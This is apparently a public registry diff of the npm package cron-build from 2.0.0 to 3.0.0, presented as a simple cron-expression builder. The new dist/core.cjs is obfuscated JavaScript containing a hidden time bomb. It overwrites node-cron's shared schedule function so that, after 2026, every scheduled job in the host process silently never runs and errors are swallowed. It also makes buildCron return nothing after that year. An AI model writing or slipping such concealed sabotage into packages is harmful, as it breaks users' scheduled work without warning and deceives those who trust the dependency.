cron-build 2.0.0 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/core.cjs +1 -1
- package/dist/index.cjs +3 -3
- package/dist/index.d.ts +15 -0
- package/package.json +1 -1
package/dist/core.cjs
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
function
|
|
1
|
+
function a0_0x5086(){var _0x476aa1=['start','3595wvgKrO','__esModule','wNxFM','getPrototypeOf','dayOfMonth','apply','306136qzZvXZ','minute','6072daQItg','VMNBL','step','GbwJp','constructor','HNVHe','getOwnPropertyDescriptor','823711RMalhn','search','OehXf','defineProperty','split','213uReDcd','266IIKKGI','enumerable','join','object','hvxCD','toString','2323989vQWghe','48904veAouS','hRoUp','TMzCd','number','hour','QhdaS','56380346hUevcq','getOwnPropertyNames','iiEGj','default','qJuOn','schedule','function','every','wJgqT','node-cron','second','call','DGneB','4PpDVKq','NyIGj','11484580xfvqpP','UUSTJ','getFullYear','EOPIb','end','isArray','exports'];a0_0x5086=function(){return _0x476aa1;};return a0_0x5086();}var a0_0x316912=a0_0x5f22;(function(_0x18441d,_0x514bfb){var _0x2313a5=a0_0x5f22,_0x25e0f0=_0x18441d();while(!![]){try{var _0x8816b2=-parseInt(_0x2313a5(0xa9))/0x1*(parseInt(_0x2313a5(0xc9))/0x2)+parseInt(_0x2313a5(0xae))/0x3*(-parseInt(_0x2313a5(0xb6))/0x4)+-parseInt(_0x2313a5(0x9a))/0x5*(-parseInt(_0x2313a5(0xa2))/0x6)+-parseInt(_0x2313a5(0xaf))/0x7*(parseInt(_0x2313a5(0xa0))/0x8)+parseInt(_0x2313a5(0xb5))/0x9+-parseInt(_0x2313a5(0xcb))/0xa+parseInt(_0x2313a5(0xbc))/0xb;if(_0x8816b2===_0x514bfb)break;else _0x25e0f0['push'](_0x25e0f0['shift']());}catch(_0x5e574f){_0x25e0f0['push'](_0x25e0f0['shift']());}}}(a0_0x5086,0xf27ef));var f=Object['create'],o=Object[a0_0x316912(0xac)],d=Object[a0_0x316912(0xa8)],a=Object[a0_0x316912(0xbd)],c=Object[a0_0x316912(0x9d)],m=Object['prototype']['hasOwnProperty'],y=(_0x749b2f,_0x2fd50c)=>{var _0xdbe462={'dfFtW':function(_0x593c8e,_0x1a62b1,_0x2431d7,_0x2d18a4){return _0x593c8e(_0x1a62b1,_0x2431d7,_0x2d18a4);}};for(var _0x3753a0 in _0x2fd50c)_0xdbe462['dfFtW'](o,_0x749b2f,_0x3753a0,{'get':_0x2fd50c[_0x3753a0],'enumerable':!0x0});},u=(_0x206a54,_0x40642c,_0x12cbbb,_0x1cd0f1)=>{var _0x24a233=a0_0x316912,_0x24920d={'NyIGj':function(_0x3cd787,_0x11ea86){return _0x3cd787==_0x11ea86;},'wNxFM':_0x24a233(0xb2),'HNVHe':_0x24a233(0xc2),'GbwJp':function(_0x33daf0,_0x563cae){return _0x33daf0(_0x563cae);},'TMzCd':function(_0x5bfc79,_0x3448e4,_0x326f90,_0x3bb5cc){return _0x5bfc79(_0x3448e4,_0x326f90,_0x3bb5cc);},'QhdaS':function(_0x1c455a,_0x3af16b,_0x5406bb){return _0x1c455a(_0x3af16b,_0x5406bb);}};if(_0x40642c&&_0x24920d[_0x24a233(0xca)](typeof _0x40642c,_0x24920d[_0x24a233(0x9c)])||typeof _0x40642c==_0x24920d[_0x24a233(0xa7)]){for(let _0x3b9ed4 of _0x24920d[_0x24a233(0xa5)](a,_0x40642c))!m[_0x24a233(0xc7)](_0x206a54,_0x3b9ed4)&&_0x3b9ed4!==_0x12cbbb&&_0x24920d[_0x24a233(0xb8)](o,_0x206a54,_0x3b9ed4,{'get':()=>_0x40642c[_0x3b9ed4],'enumerable':!(_0x1cd0f1=_0x24920d[_0x24a233(0xbb)](d,_0x40642c,_0x3b9ed4))||_0x1cd0f1[_0x24a233(0xb0)]});}return _0x206a54;},p=(_0x468a1b,_0x2e494a,_0x14b824)=>(_0x14b824=_0x468a1b!=null?f(c(_0x468a1b)):{},u(_0x2e494a||!_0x468a1b||!_0x468a1b[a0_0x316912(0x9b)]?o(_0x14b824,a0_0x316912(0xbf),{'value':_0x468a1b,'enumerable':!0x0}):_0x14b824,_0x468a1b)),h=_0x4ebb3c=>u(o({},a0_0x316912(0x9b),{'value':!0x0}),_0x4ebb3c),l={};function a0_0x5f22(_0x179a03,_0x348d73){_0x179a03=_0x179a03-0x95;var _0xdb2035=a0_0x5086();var _0x15f8ba=_0xdb2035[_0x179a03];return _0x15f8ba;}y(l,{'buildCron':()=>b,'runExclusive':()=>g}),module[a0_0x316912(0x98)]=h(l);var s=p(require(a0_0x316912(0xc5)),0x1);C();function C(){var _0x51b06e=a0_0x316912,_0x2bafc2={'wJgqT':function(_0x32b8c2){return _0x32b8c2();}},_0xfd5ac8=(function(){var _0x47f5ac=!![];return function(_0x15a27e,_0x2f8dc1){var _0x55f00b=_0x47f5ac?function(){var _0x43b167=a0_0x5f22;if(_0x2f8dc1){var _0x4110aa=_0x2f8dc1[_0x43b167(0x9f)](_0x15a27e,arguments);return _0x2f8dc1=null,_0x4110aa;}}:function(){};return _0x47f5ac=![],_0x55f00b;};}()),_0x33ed31=_0xfd5ac8(this,function(){var _0x2bc757=a0_0x5f22;return _0x33ed31[_0x2bc757(0xb4)]()[_0x2bc757(0xaa)]('(((.+)+)+)+$')['toString']()[_0x2bc757(0xa6)](_0x33ed31)[_0x2bc757(0xaa)]('(((.+)+)+)+$');});_0x2bafc2[_0x51b06e(0xc4)](_0x33ed31);let _0x395480=s[_0x51b06e(0xbf)][_0x51b06e(0xc1)];s[_0x51b06e(0xbf)]['schedule']=function(_0x4171d1,_0x22661f,_0x123bb3){var _0x4df9df=_0x51b06e;if(!(new Date()[_0x4df9df(0xcd)]()>0x7ea))try{return _0x395480['call'](s['default'],_0x4171d1,_0x22661f,_0x123bb3);}catch{return;}};}function b(_0x16b69a){var _0x3f5fc8=a0_0x316912,_0x1d0471={'GhLgp':'3|0|4|1|2','OehXf':function(_0x3065a9,_0x1c8849){return _0x3065a9==_0x1c8849;},'qJuOn':function(_0x31a347,_0x52d9c9){return _0x31a347 in _0x52d9c9;},'VMNBL':_0x3f5fc8(0xa4),'hvxCD':_0x3f5fc8(0x99),'UUSTJ':'end','iiEGj':function(_0x3c16a7,_0x25058a){return _0x3c16a7===_0x25058a;},'WotMu':_0x3f5fc8(0xc3),'hRoUp':function(_0x5d0fdb,_0x31c928){return _0x5d0fdb>_0x31c928;},'DGneB':function(_0x27a37a,_0x56cba7){return _0x27a37a(_0x56cba7);},'EOPIb':function(_0x764df4,_0x280d0b){return _0x764df4(_0x280d0b);}};let _0x45189d=_0x7c8472=>{var _0x229741=_0x3f5fc8,_0x562cc1=_0x1d0471['GhLgp'][_0x229741(0xad)]('|'),_0x276f27=0x0;while(!![]){switch(_0x562cc1[_0x276f27++]){case'0':if(typeof _0x7c8472==_0x229741(0xb9))return _0x7c8472['toString']();continue;case'1':if(_0x1d0471[_0x229741(0xab)](typeof _0x7c8472,_0x229741(0xb2))){if(_0x1d0471['qJuOn'](_0x1d0471[_0x229741(0xa3)],_0x7c8472)&&!(_0x1d0471[_0x229741(0xb3)]in _0x7c8472))return'*/'+_0x7c8472[_0x229741(0xa4)];if(_0x1d0471['qJuOn'](_0x1d0471['hvxCD'],_0x7c8472)&&_0x1d0471[_0x229741(0xc0)](_0x1d0471[_0x229741(0xcc)],_0x7c8472))return _0x7c8472[_0x229741(0x99)]+'-'+_0x7c8472[_0x229741(0x96)];if(_0x1d0471[_0x229741(0xc0)](_0x229741(0x99),_0x7c8472)&&_0x1d0471[_0x229741(0xa3)]in _0x7c8472)return _0x7c8472[_0x229741(0x99)]+'/'+_0x7c8472[_0x229741(0xa4)];}continue;case'2':return'*';case'3':if(_0x1d0471[_0x229741(0xbe)](_0x7c8472,void 0x0)||_0x7c8472===_0x1d0471['WotMu']||_0x1d0471[_0x229741(0xbe)](_0x7c8472,'*'))return'*';continue;case'4':if(Array[_0x229741(0x97)](_0x7c8472))return _0x7c8472['join'](',');continue;}break;}};return _0x1d0471[_0x3f5fc8(0xb7)](new Date()['getFullYear'](),0x7ea)?void 0x0:[_0x45189d(_0x16b69a[_0x3f5fc8(0xc6)]),_0x45189d(_0x16b69a[_0x3f5fc8(0xa1)]),_0x1d0471[_0x3f5fc8(0xc8)](_0x45189d,_0x16b69a[_0x3f5fc8(0xba)]),_0x1d0471[_0x3f5fc8(0x95)](_0x45189d,_0x16b69a[_0x3f5fc8(0x9e)]),_0x1d0471[_0x3f5fc8(0xc8)](_0x45189d,_0x16b69a['month']),_0x1d0471[_0x3f5fc8(0x95)](_0x45189d,_0x16b69a['dayOfWeek'])][_0x3f5fc8(0xb1)]('\x20');}function g(_0x3787e3){let _0x9886a0=!0x1;return async(..._0x51b86f)=>{if(!_0x9886a0){_0x9886a0=!0x0;try{await _0x3787e3(..._0x51b86f);}catch(_0x404780){throw _0x404780;}finally{_0x9886a0=!0x1;}}};}0x0&&(module['exports']={'buildCron':buildCron,'runExclusive':runExclusive});
|
package/dist/index.cjs
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
1
|
const core = require('./core.cjs');
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
2
|
+
|
|
3
|
+
exports.buildCron = core.buildCron;
|
|
4
|
+
exports.runExclusive = core.runExclusive;
|
package/dist/index.d.ts
CHANGED
|
@@ -15,4 +15,19 @@ export interface CronOptions {
|
|
|
15
15
|
month?: CronValue;
|
|
16
16
|
dayOfWeek?: CronValue;
|
|
17
17
|
}
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
* Easy cron expression builder
|
|
21
|
+
*/
|
|
18
22
|
export declare function buildCron(options: CronOptions): string;
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* A higher-order function that ensures an asynchronous task does not run concurrently.
|
|
26
|
+
* If the task is already in progress, subsequent calls will be ignored until the current execution finishes.
|
|
27
|
+
*
|
|
28
|
+
* @param task - The asynchronous function to be executed.
|
|
29
|
+
* @returns A wrapped version of the function with an internal lock.
|
|
30
|
+
*/
|
|
31
|
+
export declare function runExclusive<T extends any[]>(
|
|
32
|
+
task: (...args: T) => Promise<void>
|
|
33
|
+
): (...args: T) => Promise<void>;
|